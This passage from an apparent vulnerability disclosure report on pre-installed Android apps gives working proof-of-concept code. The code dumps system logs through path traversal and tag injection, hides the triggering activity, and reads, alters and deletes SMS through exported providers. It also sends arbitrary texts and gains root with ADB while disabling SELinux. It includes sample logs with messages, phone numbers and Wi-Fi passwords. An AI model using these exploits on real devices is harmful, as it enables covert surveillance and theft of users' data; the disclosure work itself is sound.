the attacking app will execute to initiate the writing of the logcat log file in its private directory to a file of
its choosing.
Intent i = new Intent("com.lge.gnsslogcat");
i.setClassName("com.lge.gnsslogcat", "com.lge.gnsslogcat.GnssLogService");
i.putExtra("modulename", "GnssLogService");
i.putExtra("start", true);
i.putExtra("logfilename", "../../../../data/data/hab.huba/test.txt");
ArrayList<String> darkness = new ArrayList<String>();
darkness.add("*:V Hidden");
i.putStringArrayListExtra("tags", darkness);
startService(i);
The logfilename extra used in the intent controls the file name, but it can also be used to control the file
path as there is no input filtering to prevent a directory traversal attack. If the attacking app just provides a
file name without a path, the default path is /storage/emulated/0/gnsslog. Therefore, the attacking app
can escape these directories and provide a path that will resolve to an already created file that is owned by
the attacking app and resides in the attacking app’s private directory. Normally, the com.lge.gnsslogcat
app will only write messages corresponding to three different log tags, but the attacking app can provide
parameter input to the logcat command executed by the com.lge.gnsslogcat app so that all messages
(i.e., any log tag with any log level) will be contained in the file. The com.lge.gnsslogcat app will check
for an ArrayList<String> object in the intent that corresponds to a key name of tags. This allows an app
to specify additional log tags that will be used in the logcat command. The attacking app can provide
specific log tags it is interested in, although a more convenient approach is just to obtain them all, as it may
be difficult to know all the interesting log tags on the device ahead of time. When using logcat command,
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
the initiating process can specify specific log tags and the accompanying log level (and up) that should be
included and silence everything else (effectively white-listing what should be included).
The com.lge.gnsslogcat app when executing normally will execute the logcat command below.
logcat -v threadtime -s GpsLocationProvider:V LocationManagerService:V GnssLogService:V
Whenever there are strings in the ArrayList<String> object corresponding to the a key name of tags
passed in the intent, it will take each String and append a :V to the end of it and add it to the end of the
command above. Therefore, the attacking app has some control over parameters to the command, although
the attacking app cannot perform arbitrary command injection due to the way Java executes a single
command using Runtime.exec(String) API call. The appending of :V to the a specific log tag just makes
it so that any message with that log tag at the level of verbose or above will be included. The -s argument
will silence all other log tags that are not explicitly included as arguments. To obtain all the log entries (all
log tags at all levels), a String of *:V Hidden is provided to the ArrayList<String> object corresponding
to the a key name of tags in the intent. The *:V is a wildcard that matches any log tag at the lowest log
level which will match the lowest level and all levels above (i.e., every possible log message). Since the
com.lge.gnsslogcat.GnssLogCat class iterates over the Strings that were provided in the
ArrayList<String> object and appends a :V to the end, a space and arbitrary word (i.e., *:V Hidden) is
provided in the input to keep the command valid. Therefore, the command that the GnssLogCat class
executes will be the following.
logcat -v threadtime -s GpsLocationProvider:V LocationManagerService:V GnssLogService:V *:V
Hidden:V
This command will execute and write all available log data to the file it was instructed to by the attacking
app. The com.lge.gnsslogcat.GnssLogFileManager class will create the log file (if it does not exist)
and write the file using a java.io.FileOutpstream wrapped in a java.io.OutputStreamWriter object.
The path is controlled by the attacker and contained in the intent belonging to a key value of logfilename.
The result is that the attacking app now has the com.lge.gnsslogcat app writing the system-wide logcat
log to a file it owns in its private directory.
5.2 Orbic Wonder – Logcat Logs
The Orbic Wonder27 Android device provides a method to obtain the logcat logs via a pre-installed platform
app with a package name of com.ckt.mmitest (versionCode=25, versionName=7.1.2) that will write
the logcat logs to the SD card when a specific activity is started. Any app that requests the
READ_EXTERNAL_STORAGE permission can read from the SD card and also the created logcat log file.
Therefore, a local app on the device can quickly start a specific activity application component
(com.ckt.mmitest.MmiMainActivity) in the app (com.ckt.mmitest) to have the logcat log get written
to
the
SD
card.
After
starting
the
app
with
a
specific
flag
in
the
intent
(FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS), the app can programmatically return to the home screen and
the app (com.ckt.mmitest) will not be visible in the recent apps. Then the logcat log will be continually
written and can be mined on the device for sensitive user data. Alternatively, the entire log file can be
exfiltrated to a remote location for processing. An example file path that the logs get written to is
27 http://www.orbic.us/phones/details/10
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
/sdcard/MmiTest/fd5d9b82_0202-221453.log. This file name may vary, but the directory will be the
same. The source code below will initiate the writing of the logcat log file to external storage. The first
intent will start the activity application component which initiates the writing of the logcat log to the SD
card. This intent contains a flag that will hide it from the recent apps list. The thread then sleeps 0.7 seconds.
Then it launches an intent to return to the home screen, so the app is no longer visible or accessible to the
user via the recent apps list. This can be done in the background from a service application component.
Intent i = new Intent();
i.setClassName("com.ckt.mmitest", "com.ckt.mmitest.MmiMainActivity");
i.setFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
this.startActivity(i);
try {
Thread.sleep(700);
} catch (InterruptedException e) {
e.printStackTrace();
}
Intent i2 = new Intent("android.intent.action.MAIN");
i2.addCategory(Intent.CATEGORY_HOME);
startActivity(i2);
The default messaging app, com.android.mms (versionCode=25, versionName=7.1.2), on the Orbic
Wonder device writes call data and the body of sent and received text messages to the logcat log. This is an
insecure practice since it is unnecessary to write this data to the logcat log on a production device due to
the possibility of the logcat log being exposed. The system_server process writes the call data to the logcat
log. Using the ability to obtain the logcat log above, this will enable an app on the device to obtain the body
of the user’s sent and received text messages, as well as call data as they occur. Some concrete examples
are provided below.
Sent text messages (destination number and body of text message)
02-02 21:51:22.654 6538 6719 D Mms-debug: sendMessage sendIntent: Intent {
act=com.android.mms.transaction.MESSAGE_SENT dat=content://sms/1
cmp=com.android.mms/.transaction.SmsReceiver (has extras) }
02-02 21:51:22.657 6538 6719 D Mms-debug:
sendMultipartTextMessage:mDest=5716667157|mServiceCenter=null|messages=I am sending a text
message|mPriority=-1|isExpectMore=false|validityPeriod=-
1|threadId=1|uri=content://sms/1|msgs.count=1|token=-1|mSubId=1|mRequestDeliveryReport=false
Received text messages (sending number and body of text message)
02-02 21:53:32.149 6538 6538 D Mms-debug: mWorkingMessage send mDebugRecipients=(571) 666-
7157
02-02 21:53:32.149 6538 6538 D Mms-debug: send origThreadId: 1
02-02 21:53:32.149 6538 6538 D Mms-debug: mText=Receiving a text message
Outgoing call
02-02 21:54:40.663 1348 1348 I Telecom : Class: processOutgoingCallIntent isCallPull =
false: PCR.oR@AFA02-02 21:54:40.663 1348 1348 I Telecom : Class: processOutgoingCallIntent
handle = tel:(571)%20666-7157,scheme = tel, uriString = (571) 666-7157, isSkipSchemaParsing =
false, isAddParticipant = false: PCR.oR@AFA
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Incoming call
02-02 21:58:00.351 1348 1348 D PhonecallDetector: onIncomingCallReceived() number:
+15716667157 start at: Fri Feb 02 21:58:00 EST 2018
02-02 21:54:41.569 1348 1348 D PhonecallDetector: onOutgoingCallStarted() number: 5716667157
start at: Fri Feb 02 21:54:41 EST 2018
02-02 21:54:54.844 1348 1348 D PhonecallDetector: onOutgoingCallEnded() number: 5716667157
start at: Fri Feb 02 21:54:41 EST 2018 end at: Fri Feb 02 21:54:54 EST 2018
5.3 Asus ZenFone 3 Max – Obtaining the Logcat Logs, WiFi Passwords and More
The Asus ZenFone 3 Max Android device contains a pre-installed app with a package name of
com.asus.loguploader (versionCode=1570000275,
versionName=7.0.0.55_170515) with an
exported interface that allows any app on the phone to obtain a dumpstate file (kernel log, logcat log, dump
of system services, which includes text of active notifications), Wi-Fi Passwords, and other system data
that
gets
written
to
external
storage.
The
build
fingerprint
of
the
device
is
asus/US_Phone/ASUS_X008_1:7.0/NRD90M/US_Phone-14.14.1711.92-20171208:user/release-
keys. In addition, the phone numbers for outgoing and incoming telephone calls get written to the logcat
log, as well as the telephone numbers for outgoing and incoming text messages. Therefore, having access
to the logcat log (via the dumpstate file), allows one to also obtain some telephony meta-data.
The
com.asus.loguploader
app
has
an
exported
component
named
com.asus.loguploader.LogUploaderService. This component can be accessed by an app on the device
to generate the log files that get dumped to external storage. Once an app interacts with it using a specific
intent, the device will vibrate once and create two notifications: one that says “Log generating… Please
wait for a while” and another that says “Bug Reporter is running. Tap for more information or to stop the
app.” The device will vibrate again when the generation of the log files has completed. These two
notifications are temporary and will be removed in around one second since a second intent is sent.
The com.asus.loguploader app cannot be disabled through the Settings app. The source code to write
the log data to the SD card is provided below. The first intent is to start the log generation and the second
intent is to quickly remove the notifications. If the second intent was not sent, the generation of log files
would leave notifications in the status bar for the user to see.
Intent i = new Intent("MANUAL_UPLOAD");
i.setClassName("com.asus.loguploader", "com.asus.loguploader.LogUploaderService");
startService(i);
Intent i2 = new Intent("MOVELOG_COMPLETED");
i2.setClassName("com.asus.loguploader", "com.asus.loguploader.LogUploaderService");
startService(i2);
The source code above will cause the com.asus.loguploader app to write log data to a base directory of
/sdcard/ASUS/LogUploader. Each time this code is executed, it will overwrite the previous files. A listing
of the files in the most relevant directory (i.e., /sdcard/ASUS/LogUploader/general/sdcard) is provided
below.
ASUS_X008_1:/sdcard/ASUS/LogUploader/general/sdcard $ ls -alh
total 9.4M
drwxrwx--x 5 root sdcard_rw 4.0K 2018-05-20 13:32 .
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
drwxrwx--x 3 root sdcard_rw 4.0K 2018-05-20 13:32 ..
drwxrwx--x 2 root sdcard_rw 4.0K 2018-05-20 13:32 anr
-rwxrwx--x 1 root sdcard_rw 817 2018-05-20 13:32 df.txt
-rw-rw---- 1 root sdcard_rw 9.3M 2018-05-20 13:32 dumpstate.txt
-rwxrwx--x 1 root sdcard_rw 1.2K 2018-05-20 13:32 ls_data_anr.txt
-rwxrwx--x 1 root sdcard_rw 218 2018-05-20 13:32 ls_data_tombstones.txt
-rwxrwx--x 1 root sdcard_rw 902 2018-05-20 13:32 ls_wifi_asus_log.txt
drwxrwx--x 2 root sdcard_rw 4.0K 2018-05-20 13:32 mtklog
-rwxrwx--x 1 root sdcard_rw 474 2018-05-20 13:32 p2p_supplicant.conf
drwxrwx--x 2 root sdcard_rw 4.0K 2018-05-20 13:32 tombstones
-rwxrwx--x 1 root sdcard_rw 791 2018-05-20 13:32 wpa_supplicant.conf
The
two
most
interesting
files
are
dumpstate.txt
and
wpa_supplicant.conf.
The
wpa_supplicant.conf file is a copy of the /data/misc/wifi/wpa_supplicant.conf file. The
wpa_supplicant.conf contains the SSID and password for each network that the device has saved. The
contents of the wpa_supplicant.conf file are shown below. Some of the data below has been changed
about the networks for privacy reasons.
ASUS_X008_1:/sdcard/ASUS/LogUploader/general/sdcard $ cat wpa_supplicant.conf
ctrl_interface=/data/misc/wifi/sockets
driver_param=use_p2p_group_interface=1
update_config=1
device_name=US_Phone
manufacturer=asus
model_name=ASUS_X008DC
model_number=ASUS_X008DC
serial_number=H4AXGY012345DMV
device_type=10-0050F204-5
os_version=01020300
config_methods=physical_display virtual_push_button
p2p_no_group_iface=1
external_sim=1
wowlan_triggers=disconnect
network={
ssid="HOME-NET"
bssid=cc:35:40:b8:7c:e2
psk="5GgMK*-Aa828"
key_mgmt=WPA-PSK
disabled=1
id_str="%7B%22creatorUid%22%3A%221000%22%2C%22configKey%22%3A%22%5C%22HOME-
NET%5C%22WPA_PSK%22%7D"
}
network={
ssid="Huba"
bssid=ac:22:0b:df:15:d8
psk="2Vk69c9a*ze2"
key_mgmt=WPA-PSK
disabled=1
id_str="%7B%22creatorUid%22%3A%221000%22%2C%22configKey%22%3A%22%5C%Huba%5C%22W
PA_PSK%22%7D"
}
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
The dumpstate.txt file is the result of running the dumpstate command28. This is essentially a dump
containing the logcat log, kernel log, a dump of system services, and more. The generated dumpstate.txt
file from the listing of files above is 9.3MB. Notably, the text of the active notifications is contained in the
file. The active notifications from the dumpstate.txt file is provided in Appendix C. The logcat log is
contained within the dumpstate.txt file. Telephony meta-data for text messages and phone calls appear
in the logcat log. Below are some examples that we have identified, although there may be additional log
messages that can appear.
Placing a call (log message written by the system_server process whenever the user makes a call)
05-22 12:44:02.283 1185 1185 D Telecom : CallIntentProcessor:
processOutgoingCallIntent(): uriString = 7035551234: PCR.oR@AX0
Receiving a call (log message written by the com.android.phone process whenever there in an incoming
call)
05-22 12:47:36.883 1823 1823 D TelecomFramework: TelephonyConnectionService:
createConnection, callManagerAccount: PhoneAccountHandle{TelephonyConnectionService,
8901260145725529100f, UserHandle{0}}, callId: TC@2, request: ConnectionRequest
tel:17035551234 Bundle[mParcelledData.dataSize=584], isIncoming: true, isUnknown:
false
Sending a text message (log message written by the android.process.acore process whenever a text
message is sent)
05-22 13:05:30.713 9110 9121 V ContactsProvider: query:
uri=content://com.android.contacts/data/phones projection=[contact_id, _id]
selection=[data1 IN (?)] args=[7035551234] order=[null] CPID=3064 User=0
Receiving a text message
Receiving a text message (log message written by the com.android.phone process whenever a text
message is received)
05-22 13:08:41.014 1823 3972 D Mms/Provider/MmsSms: query begin, uri =
content://mms-sms/threadID?recipient=%2B17035551234, selection = null
05-22 13:08:41.017 1823 3972 D Mms/Provider/MmsSms: getAddressIds: get exist id=5,
refinedAddress=+17035551234, currentNumber=7035551234
5.4 LG G6 & LG Q6 – Dumping the Logcat Logs and Kernel Logs to External Storage
The com.lge.mlt app (versionCode=60000002, versionName=6.0.2) is present as a pre-installed app
on two LG devices we examined, show below with the corresponding build fingerprints.
LG G6 - lge/lucye_nao_us_nr/lucye:7.0/NRD90U/17355125006e7:user/release-keys
LG Q6 - lge/mhn_lao_com_nr/mhn:7.1.1/NMF26X/173421645aa48:user/release-keys
28 https://source.android.com/setup/contribute/read-bug-reports
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
The pre-installed com.lge.mlt app (versionCode=60000002, versionName=6.0.2) will dump an
SQLite database to external storage containing a large amount of data including snippets of the logcat log
and kernel log when it receives a broadcast intent with a specific action string that can be sent by any app
on the device. The file that the app created on our device was 3.8 MB. The com.lge.mlt app has a broadcast
receiver named com.lge.mlt.hiddenmenu.MptHiddenMenuReceiver. This receiver statically registers to
receive broadcast intents that have an action string of com.lge.mlt.copy.hiddendatabase. Below is a
snippet of the AndroidManifest.xml file of the com.lge.mlt app.
<receiver android:name="com.lge.mlt.hiddenmenu.MptHiddenMenuReceiver">
<intent-filter>
<action android:name="MPT.GO_TO_HIDDEN_MENU"/>
<action android:name="com.lge.mlt.copy.hiddendatabase"/>
</intent-filter>
</receiver>
When the MptHiddenMenuReceiver broadcast receiver receives a broadcast intent with an action string of
com.lge.mlt.copy.hiddendatabase, it will copy a database with a path of /mpt/LDB_MainData.db to
a path of /sdcard/ldb/_data.ez. In addition, on the LG G6 device, a file named a file named
/mpt/serial is copied to a path of /sdcard/ldb/_index.ez and the file contains the International
Mobile Equipment Identity (IMEI) of the device. This app appears to store crash logs and other diagnostic
data. The End-User License Agreement (EULA) for the com.lge.mlt app says that the data may contain
“application use history, IMEI, country, language, serial number, model, screen resolution, OS
information, reception strength, network location information, and service and connection status.” Any
app on the device that has been granted the READ_EXTERNAL_STORAGE permission can cause the
com.lge.mlt app to write this database to the SD card and then mine it for personal data. In the
_data.ez file, the table named t320 contains log entries from the kernel log and the logcat log.
5.5 Vivo V7 – Dumping the Logcat Logs to External Storage
The Vivo V7 device contains an app with a package name of com.vivo.bsptest (versionCode=1,
versionName=1.0). This app will initiate the writing of the logcat log and kernel log to external storage
with a default path of /sdcard/bbklog once it receives an intent that can be sent by any app on the device.
The writing of the logs is not totally transparent to the user. Once a third-party app sends an intent to the
com.vivo.bsptest app, a sticky notification appears in the status bar that “Log Collection – Logs are
running.” The user can click the notification and cancel the collection of logs. The source code below will
start the com.vivo.bsptest.BSPTestActivity activity app component (which activates the logging) with
a flag which will hide it from the recent apps, wait 0.5 seconds, and then returns to the main launcher screen.
Intent i = new Intent();
i.setClassName("com.vivo.bsptest", "com.vivo.bsptest.BSPTestActivity");
i.setFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS);
startActivity(i);
try {
Thread.sleep(500);
} catch (InterruptedException e) {
e.printStackTrace();
}
Intent i2 = new Intent("android.intent.action.MAIN");
i2.addCategory(Intent.CATEGORY_HOME);
startActivity(i2);
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
The Vivo V7 device can also be made to write the coordinates of screen presses to the logcat log as detailed
in Section 9.1.
6. Exposing Telephony Data and Capabilities
We discovered that the Leagoo Z5C device allows any app co-located on the device to send arbitrary text
messages. In addition, it allows any app on the device to obtain the most recent text message in each
conversation via an exported content provider. We found that three devices sold by T-Mobile contained a
Rich Communication Services (RCS) app that allows the sending of arbitrary text messages, allows the
user’s text messages to be read and modified, and provides the phone numbers of the user’s contacts. This
RCS app has also been refactored with a second package name that has essentially the same behavior.
6.1 Leagoo Z5C – Custom com.android.messaging App
We examined a Leagoo Z5C Android device, and we noticed some additional behavior that is not present
in Google’s version of the com.android.messaging app. The Leagoo Z5C had a build fingerprint of
sp7731c_1h10_32v4_bird:6.0/MRA58K/android.20170629.214736:user/release-keys.
6.1.1 Leagoo Z5C – Sending Arbitrary Text Messages
Any app on the device can send an intent to an exported broadcast receiver application component that will
result in the sending of a text message where the phone number and body of the text message is controlled
by the attacker. This can be accomplished by a zero-permission third-party app. The
com.android.messaging
app
(versionCode=1000110,
versionName=1.0.001,
(android.20170630.092853-0))
contains
an
exported
broadcast
receiver
named
com.android.messaging.trackersender.TrackerSender,
and
its
declaration
in
the
AndroidManifest.xml file is provided below. The TrackerSender component is explicitly exported.
<receiver android:exported="true" android:name="com.android.messaging.trackersender.TrackerSender">
<intent-filter android:priority="0x7FFFFFFF">
<action android:name="com.sprd.mms.transaction.TrackerSender.SEND_SMS_ACTION"/>
<action android:name="com.sprd.mms.transaction.TrackerSender.SMS_SENT_ACTION"/>
<action android:name="com.sprd.mms.transaction.TrackerSender.RETRY_ALARM_ACTION"/>
</intent-filter>
</receiver>
The
TrackerSender
component
registers
for
the
com.sprd.mms.transaction.TrackerSender.SEND_SMS_ACTION action. When this component receives
an intent with a specific action and has the appropriate data embedded in an intent, it will extract the data
from the intent and send a text message using the android.telephony.SmsManager API. Below is the
source code to make the TrackerSender component send a text message.
Intent i = new Intent();
i.setAction("com.sprd.mms.transaction.TrackerSender.SEND_SMS_ACTION");
i.putExtra("message_body", "Huba");
i.putExtra("message_recipient", "+1703555555");
i.putExtra("message_falg_retry", true);
i.putExtra("message_phone_id", 1);
i.putExtra("message_token", (long) 1234);
sendBroadcast(i);
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
6.1.2 Leagoo Z5C – Obtaining the Most Recent Text Message from each Conversation
Due to an exported broadcast receiver, a zero-permission third-party app can query the most recent text
message from each conversation. That is, for each phone number where the user has either texted or received
a text from, a zero-permission third party app can obtain the body of the text message, phone number, name
of the contact (if it exists), and a timestamp. The com.android.messaging app (versionCode=1000110,
versionName=1.0.001, (android.20170630.092853-0)) contains an exported content provider with a
name of com.android.messaging.datamodel.MessagingContentProvider. Below is the content
provider being declared in the com.android.messaging app’s AndroidManifest.xml file.
<provider
android:authorities="com.android.messaging.datamodel.MessagingContentProvider"
android:exported="true" android:label="@string/app_name"
android:name=".datamodel.MessagingContentProvider"/>
As the querying of the content provider can be performed silently in the background, it can be continuously
monitored to check to see if the current message in each conversation has changed and record any new
messages. To query the most recent text message for each conversation, the app simply needs to query a
content
provider
in
the
standard
way
where
the
authority
string
is
com.android.messaging.datamodel.MessagingContentProvider/conversations. Below is the
output of querying this content provider. The text messages that are sent by the device owner are the ones
where the snippet_sender_display_destination field is empty.
Row: 0 _id=2, name=(703) 555-0001, current_self_id=1, archive_status=0, read=1,
icon=messaging://avatar/d?i=%2B17035550001, participant_contact_id=-2,
participant_lookup_key=NULL, participant_normalized_destination=+17035550001,
sort_timestamp=1526866037215, show_draft=0, draft_snippet_text=, draft_preview_uri=,
draft_subject_text=, draft_preview_content_type=, preview_uri=NULL, preview_content_type=NULL,
participant_count=1, notification_enabled=1, notification_sound_uri=NULL,
notification_vibration=1, include_email_addr=0, message_status=100, raw_status=0,
message_id=12, snippet_sender_first_name=NULL, snippet_sender_display_destination=(703) 555-
0001, snippet_text=Here is a text message, subject_text=NULL
Row: 1 _id=3, name=(703) 555-0002, current_self_id=1, archive_status=0, read=1,
icon=messaging://avatar/d?i=%2B17035550002, participant_contact_id=-2,
participant_lookup_key=NULL, participant_normalized_destination=+17035550002,
sort_timestamp=1526863999559, show_draft=0, draft_snippet_text=, draft_preview_uri=,
draft_subject_text=, draft_preview_content_type=, preview_uri=NULL, preview_content_type=NULL,
participant_count=1, notification_enabled=1, notification_sound_uri=NULL,
notification_vibration=1, include_email_addr=0, message_status=1, raw_status=0, message_id=8,
snippet_sender_first_name=Mike, snippet_sender_display_destination=, snippet_text=Test. Holla
back, subject_text=NULL
Row: 2 _id=1, name=Random Guy, current_self_id=1, archive_status=0, read=1,
icon=messaging://avatar/l?n=Random%20Guy&i=1516r11-4B29432F4541355159,
participant_contact_id=11, participant_lookup_key=1516r11-4B29432F4541355159,
participant_normalized_destination=+17035550003, sort_timestamp=1526863649747, show_draft=0,
draft_snippet_text=, draft_preview_uri=, draft_subject_text=, draft_preview_content_type=,
preview_uri=NULL, preview_content_type=NULL, participant_count=1, notification_enabled=1,
notification_sound_uri=NULL, notification_vibration=1, include_email_addr=0, message_status=1,
raw_status=0, message_id=5, snippet_sender_first_name=Mike,
snippet_sender_display_destination=, snippet_text=Here is a longer message. One more,
subject_text=NULL
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
6.2 Insecure RCS App on T-Mobile Devices
We discovered an insecure pre-installed app that handles RCS with a package name of
com.rcs.gsma.na.sdk (or a refactored version of the app) on three devices. There was a refactored version
of the same app with almost the same functionality with a different package name
(com.suntek.mway.rcs.app.service). We are unsure if this app has other refactored instances with
additional package names. This app allows any app co-located on the device to read, delete, insert, and
modify the user’s text messages, send arbitrary text messages, and obtain the phone numbers of the user’s
contacts. All of these capabilities are done without the required permissions since the
com.rcs.gsma.na.sdk app externally exposes them and does not set permissions requirements to access
them. All of the devices we confirmed that contain this app were sold as T-Mobile devices: Coolpad Defiant,
T-Mobile Revvl Plus, and ZTE Zmax Pro. We will explain the vulnerabilities on the T-Mobile Revvl Plus
although the source code to exploit the vulnerabilities on the other two devices are almost exactly the same
except for a different package name and component names due to refactoring.
The T-Mobile Revvl Plus contains a pre-installed app with a package name of com.rcs.gsma.na.sdk
(versionCode=1, versionName=RCS_SDK_20170804_01). This app executes as the system user (a
privileged user) and cannot be disabled by the end-user. This application appears to handle RCS on the
device. This application has 7 content providers that are exported and not protected by a permission, which
makes them accessible to any app co-located on the device. Content provider application components are
not exported by default, but the developers of this app explicitly exported them. A content provider acts as
a repository for structured data and supports the standard SQL operations. Some of these content providers
in the com.rcs.gsma.na.sdk app act as a wrapper where they internally access and operate on a different
content provider. A content provider is accessed using an authority string. There is a content provider with
a class name of com.rcs.gsma.na.provider.message.MessageProvider with an authority string of
com.rcs.gsma.na.provider.message. When the com.rcs.gsma.na.provider.message authority is
queried, it will query the sms authority (e.g., content://sms) and return the user’s sent and received text
messages. Each text message entry includes a timestamp, phone number, message body, flag for whether
the user has seen the message or not, etc. The source code below will return a string containing all of the
user’s sent and received text messages. An example output of this method is provided in Appendix D.
Uri aUri = Uri.parse("content://com.rcs.gsma.na.provider.message");
ContentResolver cr = getContentResolver();
Cursor cursor = cr.query(aUri, null, null, null, null);
String allData = "";
String temp = "";
if (cursor == null || cursor.getCount() == 0)
return null;
cursor.moveToFirst();
do {
int columnCount = cursor.getColumnCount();
for(int id=0; id < cursor.getColumnCount(); id++) {
int type = cursor.getType(id);
if (type == 4)
continue;
temp = " " + cursor.getColumnName(id) + ":" + cursor.getString(id);
allData += temp;
Log.d("Key-Value pair", temp);
}
allData += "\n";
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
} while(cursor.moveToNext());
return allData;
The source code below will change the body of all the user’s sent and received text messages to the word
“goodbye”. The content of individual messages can be modified by adding a where clause and selection
arguments for a specific message id.
ContentResolver cr = getContentResolver();
ContentValues cv = new ContentValues();
cv.put("body","goodbye");
cr.update(Uri.parse("content://com.rcs.gsma.na.provider.message"), cv, null, null);
The source code below will delete all of the user’s text messages.
ContentResolver cr = getContentResolver();
cr.delete(Uri.parse("content://com.rcs.gsma.na.provider.message"), null, null);
The phone numbers of the user’s contacts can be obtained from the com.rcs.gsma.na.sdk app. This app
has
a
content
provider
application
component
with
a
class
name
of
com.rcs.gsma.na.provider.capability.CapabilityProvider
with
an
authority
string
of
com.rcs.gsma.na.provider.capability. The CapabilityProvider component acts as a wrapper to
the content://com.android.contacts Uniform Resource Interface (URI). The output from querying the
CapabilityProvider content provider is provided in Appendix E and is queried in the same way as
querying for the user’s text messages (provided above).
In the com.rcs.gsma.na.sdk app, there is a broadcast receiver application component with a fully-
qualified class name of com.rcs.gsma.na.test.TestReceiver. This component is explicitly exported
and allows a user to send a text message where the phone number and message can be chosen by the sender.
This can be abused to send text messages to premium numbers or be used to send a distasteful message to
all the user’s contacts. This can be accomplished by first using the CapabilityProvider component and
to obtain the phone number’s of the user’s contacts and then sending them a text message.
Intent i = new Intent("com.rcs.gsma.na.sdk.TestReceiver");
i.setClassName("com.rcs.gsma.na.sdk", "com.rcs.gsma.na.test.TestReceiver");
i.putExtra("type", 110);
i.putExtra("number", "7035557777");
i.putExtra("isLarge", false);
i.putExtra("value", "help?!?!?");
sendBroadcast(i);
7. Local Root Privilege Escalation via ADB
We discovered two devices that allow the user to obtain root privileges by entering commands via ADB:
Alcatel A30 and Leagoo P1. These two devices allow a user with physical access to the device to obtain a
root shell on the device by allowing the shell user (ADB) to modify read-only properties at runtime. This
undocumented feature goes against the standard Android security model. Recently, a Twitter user with the
handle of Elliot Anderson discovered that certain OnePlus devices can obtain root access via ADB29.
29 https://www.xda-developers.com/oneplus-root-access-backdoor/
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
Notably, the Alcatel A30 was an Amazon Prime exclusive device30. We will focus on the Alcatel A30
device, although the approach to obtain a root shell via ADB is the same for both devices: modify read-only
properties at runtime and restart the ADB daemon so it executes as the root user.
7.1 Alcatel A30 – Root Privilege Escalation via ADB
Allowing the modification of read-only properties at runtime allows either a user with physical access to
the device or the vendor (specifically TCL Corporation) to execute commands as the root user. The
properties of concern here are ro.debuggable and ro.secure. Notably, on the Alcatel A30 device,
changing the ro.debuggable property to have a value of 1 will create a UNIX domain socket named
factory_test that will execute the commands supplied to it as the root user. This behavior is not present
on the Leagoo P1 device. This allows the vendor to execute commands as the root user if they change the
value of the ro.debuggable property and use a process that has access to write to the factory_test socket
in the /dev/socket directory, although we did not witness the behavior. Moreover, we verified that
platform apps can change the ro.debuggable property at runtime. TCL Corporation should control the
framework key since they are the vendor and have certain apps that are executing as the system user. In
addition, they also control the SELinux rules to control which processes can interact with the factory_test
socket.
The end-user can also obtain root privileges by restarting ADB as root using certain commands via ADB.
This allows a root shell via ADB to be obtained for command execution as the root user. At this point,
root privileges can be used to obtain a permanent root privilege as opposed to a temporary one. Using
root privileges, the private directories of apps, among others, can be examined and exfiltrated. For ADB
to be able to execute commands as the root user, instead of the usual shell user, the ro.debuggable
property needs to be set to a value of 1 and the ro.secure property needs to be set to a value of 0. At this
point, the user can use the adb root command, which will restart the adbd process running as the root
user. With root privileges, SELinux can be disabled to prevent the Mandatory Access Control (MAC) rules
from preventing certain actions on the device using the setenforce 0 command. Below are the commands
to enter using ADB to obtain a root shell.
adb shell setprop ro.debuggable 1
adb shell setprop ro.secure 0
adb root
adb shell setenforce 0
adb shell
MICKEY6US:/ # id
uid=0(root) gid=0(root)
groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admi
n),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0
Below is the factory_test UNIX domain socket in the /dev/socket directory from the Alcatel A30
device.
MICKEY6US:/dev/socket # ls –al
total 0
drwxr-xr-x 7 root root 760 2017-05-10 17:58 .
30 https://www.theverge.com/circuitbreaker/2017/3/24/15042450/alcatel-a30-moto-g5-plus-amazon-prime-exclusive-phones-
ad-lockscreen
10505 Judicial Drive, Suite 201 | Fairfax, VA 22030 | V: 703.352.2982 | F: 203.286.2533 | [email protected]
drwxr-xr-x 15 root root 4220 2017-05-10 17:55 ..
srw-rw---- 1 system system 0 2017-05-10 17:58 adbd
srw-rw---- 1 root inet 0 1970-11-08 00:12 cnd
srw-rw---- 1 root mount 0 1970-11-08 00:12 cryptd
srw-rw---- 1 root inet 0 1970-11-08 00:12 dnsproxyd
srw-rw---- 1 root system 0 1970-11-08 00:12 dpmd
srw-rw---- 1 system inet 0 2017-05-10 17:55 dpmwrapper
srw-rw-rw- 1 root root 0 2017-05-10 17:58 factory_test
On the Alcatel A30 device, the init.rc file contains the logic to start the /system/bin/factory_test
binary once the ro.debuggable property is set to a value of 1.
on property:ro.debuggable=1
start bt_wlan_daemon
service bt_wlan_daemon /system/bin/factory_test
user root
group root
oneshot
seclabel u:r:bt_wlan_daemon:s0
7.2 Leagoo P1 – Root Privilege Escalation via ADB
Similar behavior is also (except the factory_test socket) present on the Leagoo P1 device with a build
fingerprint of
sp7731c_1h10_32v4_bird:6.0/MRA58K/android.20170629.214736:user/release-
keys. Below are the ADB commands, the same as for the Alcatel A30 device, to obtain a root shell via
ADB.
adb shell setprop ro.debuggable 1
adb shell setprop ro.secure 0
adb root
adb shell setenforce 0
adb shell
t592_otd_p1:/ # id
uid=0(root) gid=0(root)
